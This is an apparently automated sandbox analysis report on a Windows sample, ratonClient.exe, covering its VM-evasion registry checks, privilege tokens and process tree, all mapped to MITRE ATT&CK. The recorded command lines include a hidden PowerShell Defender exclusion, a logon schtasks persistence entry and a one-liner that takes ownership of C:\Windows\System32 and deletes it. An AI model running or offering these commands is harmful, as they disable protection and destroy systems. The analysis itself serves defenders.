ratonrat | 2e60945731490a1f55d7ba0fdaa43f8f24843961008730758931aa997a2447f1

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	ratonClient.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	ratonClient.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2668	powershell.exe
3324	powershell.exe
3324	powershell.exe
2668	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	ratonClient.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	ratonClient.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
1844	takeown.exe
3496	icacls.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ratonClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ratonClient.exe

Executes dropped EXE 2 IoCs

pid	Process
4956	ratonClient.exe
1968	ratonClient.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3496	icacls.exe
1844	takeown.exe

Maps connected drives based on registry 3 TTPs 4 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	ratonClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	ratonClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	ratonClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	ratonClient.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5948	cmd.exe
1536	cmd.exe
520	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ratonClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ratonClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ratonClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ratonClient.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
4452	timeout.exe
4584	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4604	schtasks.exe
4648	schtasks.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4956	ratonClient.exe
2668	powershell.exe
2668	powershell.exe
4956	ratonClient.exe
4956	ratonClient.exe
4956	ratonClient.exe
1968	ratonClient.exe
1968	ratonClient.exe
3324	powershell.exe
3324	powershell.exe
3324	powershell.exe
1968	ratonClient.exe
1968	ratonClient.exe
1968	ratonClient.exe
4956	ratonClient.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	4956	ratonClient.exe
Token: SeDebugPrivilege	4956	ratonClient.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeIncreaseQuotaPrivilege	2668	powershell.exe
Token: SeSecurityPrivilege	2668	powershell.exe
Token: SeTakeOwnershipPrivilege	2668	powershell.exe
Token: SeLoadDriverPrivilege	2668	powershell.exe
Token: SeSystemProfilePrivilege	2668	powershell.exe
Token: SeSystemtimePrivilege	2668	powershell.exe
Token: SeProfSingleProcessPrivilege	2668	powershell.exe
Token: SeIncBasePriorityPrivilege	2668	powershell.exe
Token: SeCreatePagefilePrivilege	2668	powershell.exe
Token: SeBackupPrivilege	2668	powershell.exe
Token: SeRestorePrivilege	2668	powershell.exe
Token: SeShutdownPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeSystemEnvironmentPrivilege	2668	powershell.exe
Token: SeRemoteShutdownPrivilege	2668	powershell.exe
Token: SeUndockPrivilege	2668	powershell.exe
Token: SeManageVolumePrivilege	2668	powershell.exe
Token: 33	2668	powershell.exe
Token: 34	2668	powershell.exe
Token: 35	2668	powershell.exe
Token: 36	2668	powershell.exe
Token: SeDebugPrivilege	1968	ratonClient.exe
Token: SeDebugPrivilege	1968	ratonClient.exe
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeIncreaseQuotaPrivilege	3324	powershell.exe
Token: SeSecurityPrivilege	3324	powershell.exe
Token: SeTakeOwnershipPrivilege	3324	powershell.exe
Token: SeLoadDriverPrivilege	3324	powershell.exe
Token: SeSystemProfilePrivilege	3324	powershell.exe
Token: SeSystemtimePrivilege	3324	powershell.exe
Token: SeProfSingleProcessPrivilege	3324	powershell.exe
Token: SeIncBasePriorityPrivilege	3324	powershell.exe
Token: SeCreatePagefilePrivilege	3324	powershell.exe
Token: SeBackupPrivilege	3324	powershell.exe
Token: SeRestorePrivilege	3324	powershell.exe
Token: SeShutdownPrivilege	3324	powershell.exe
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeSystemEnvironmentPrivilege	3324	powershell.exe
Token: SeRemoteShutdownPrivilege	3324	powershell.exe
Token: SeUndockPrivilege	3324	powershell.exe
Token: SeManageVolumePrivilege	3324	powershell.exe
Token: 33	3324	powershell.exe
Token: 34	3324	powershell.exe
Token: 35	3324	powershell.exe
Token: 36	3324	powershell.exe
Token: SeTakeOwnershipPrivilege	1844	takeown.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2728 wrote to memory of 5948	2728	ratonClient.exe	89
PID 5948 wrote to memory of 2024	5948	cmd.exe	91
PID 5948 wrote to memory of 4452	5948	cmd.exe	92
PID 5948 wrote to memory of 4956	5948	cmd.exe	93
PID 5948 wrote to memory of 4584	5948	cmd.exe	94
PID 4956 wrote to memory of 2668	4956	ratonClient.exe	96
PID 4956 wrote to memory of 4604	4956	ratonClient.exe	99
PID 1968 wrote to memory of 3324	1968	ratonClient.exe	104
PID 1968 wrote to memory of 4648	1968	ratonClient.exe	106
PID 1968 wrote to memory of 1536	1968	ratonClient.exe	108
PID 1536 wrote to memory of 520	1536	cmd.exe	110
PID 520 wrote to memory of 1844	520	cmd.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\ratonClient.exe
"C:\Users\Admin\AppData\Local\Temp\ratonClient.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\cleanup_T7Vi4UrBx4LQGZsUQeYP2XA30OMXhq.bat""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5948
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2024
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4452
- - C:\Users\Admin\AppData\Roaming\PlatformRuntime\ratonClient.exe
    "C:\Users\Admin\AppData\Roaming\PlatformRuntime\ratonClient.exe"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Maps connected drives based on registry
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Roaming\PlatformRuntime\ratonClient.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2668
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "ratonClient" /sc ONLOGON /tr "\"C:\Users\Admin\AppData\Roaming\PlatformRuntime\ratonClient.exe\"" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4604
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4584

C:\Users\Admin\AppData\Roaming\PlatformRuntime\ratonClient.exe
"C:\Users\Admin\AppData\Roaming\PlatformRuntime\ratonClient.exe"
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Executes dropped EXE
- Maps connected drives based on registry
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Roaming\PlatformRuntime\ratonClient.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3324
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "ratonClient" /sc ONLOGON /tr "\"C:\Users\Admin\AppData\Roaming\PlatformRuntime\ratonClient.exe\"" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4648
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c cmd /c "takeown /f C:\Windows\System32 /r /d Y >nul 2>&1 & icacls C:\Windows\System32 /grant *S-1-5-32-544:F /t /c /q >nul 2>&1 & rd /s /q C:\Windows\System32 >nul 2>&1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\cmd.exe
    cmd /c "takeown /f C:\Windows\System32 /r /d Y >nul 2>&1 & icacls C:\Windows\System32 /grant *S-1-5-32-544:F /t /c /q >nul 2>&1 & rd /s /q C:\Windows\System32 >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:520
  - - C:\Windows\system32\takeown.exe
      takeown /f C:\Windows\System32 /r /d Y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1844
  - - C:\Windows\system32\icacls.exe
      icacls C:\Windows\System32 /grant *S-1-5-32-544:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3496

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion